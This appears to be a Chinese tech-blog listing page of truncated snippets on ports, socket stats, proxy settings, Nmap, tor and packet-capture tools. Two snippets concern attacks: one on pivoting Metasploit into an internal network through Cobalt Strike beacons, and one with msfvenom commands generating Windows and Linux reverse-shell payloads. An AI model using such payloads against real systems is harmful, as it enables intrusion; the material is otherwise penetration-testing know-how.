本节的知识摘要: 通过 beacon内置的 socks功能将本地 Msf直接代入目标内网 借助 CobaltStrike的外部 tcp监听器通过 ssh隧道直接派生一个 meterpreter到本地 msf中 借用 msf 的各类 exp模块尝试直接弹回一个 beacon shell 灵活利用 ss ...
分类：
Web程序 时间：
2019-12-24 14:05:52
阅读次数：
139
我们经常用到计算机端口，那么计算机一共有多少个端口呢？ 答案是：计算机一共有2的16次方个端口，就是65535个。 这些端口可以分为下面几类： 1） 公认端口（Well Known Ports）：从0到1023，它们紧密绑定于一些服务。通常这些端口的通讯明确表明了某种服务的协议。例如：80端口实际上 ...
分类：
其他好文 时间：
2019-12-19 21:27:05
阅读次数：
116
sockets: used：已使用的所有协议套接字总量 TCP: inuse：正在使用（正在侦听）的TCP套接字数量。其值≤ netstat –lnt | grep ^tcp | wc –l TCP: orphan：无主（不属于任何进程）的TCP连接数（无用、待销毁的TCP socket数） TCP ...
分类：
Web程序 时间：
2019-12-19 12:55:59
阅读次数：
120
0x00 Windows，Linux反弹shell生成 Windows： msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径 Linux: msfvenom -p linux/x86/me ...
分类：
其他好文 时间：
2019-11-16 14:14:37
阅读次数：
138
Windows 终端使用代理 # 使用 http 类型代理 set http_proxy=http://127.0.0.1:8484 set https_proxy=http://127.0.0.1:8484 # 使用 socks 类型代理 netsh winhttp set proxy proxy... ...
前言 whistle是基于Node实现的跨平台抓包调试代理工具，有以下基本功能： 查看HTTP、HTTPS请求响应内容 查看WebSocket、Socket收发的帧数据 设置请求hosts、上游http/socks代理 修改请求url、方法、头部、内容 修改响应状态码、头部、内容，并支持本地替换 修 ...
分类：
其他好文 时间：
2019-11-08 12:11:43
阅读次数：
437
简介 Nmap是一款开源免费的网络发现（Network Discovery）和安全审计（Security Auditing）工具。软件名字Nmap是Network Mapper的简称。 功能架构图 Nmap所识别的6种端口状态 参数详解 Nmap支持主机名，ip，网段的表示方式： 主机发现： 扫描技 ...
分类：
其他好文 时间：
2019-11-07 19:01:12
阅读次数：
109
端口号标识了一个主机上进行通信的不同的应用程序。 1.HTTP协议代理服务器常用端口号：80/8080/3128/8081/9098 2.SOCKS代理协议服务器常用端口号：1080 3.FTP（文件传输）协议代理服务器常用端口号：21 4.Telnet（远程登录）协议代理服务器常用端口号：23 H ...
分类：
Web程序 时间：
2019-11-03 10:51:09
阅读次数：
105
使用ss之后输入conda指令出现错误：“ValueError: Unable to determine SOCKS version from socks://127.0.0.1:1080/”。 解决方法： 在终端中输入 这只能在当前终端的使用中有效，重新打开的终端中仍然会有错误。 ...
分类：
其他好文 时间：
2019-10-27 14:59:52
阅读次数：
166
requests+tor+privoxy 踩了一些坑,也不一定是最好的实现方式，交流分享一下 配置 使用ubuntu1904 tor 多级代理，连接DeepWeb 安装 更新系统，安装tor及相关依赖 配置 这里有几个要注意的点 ControlPort 在 里面说是管理端口不是Socks端口,后面连 ...
分类：
编程语言 时间：
2019-10-11 18:07:00
阅读次数：
163
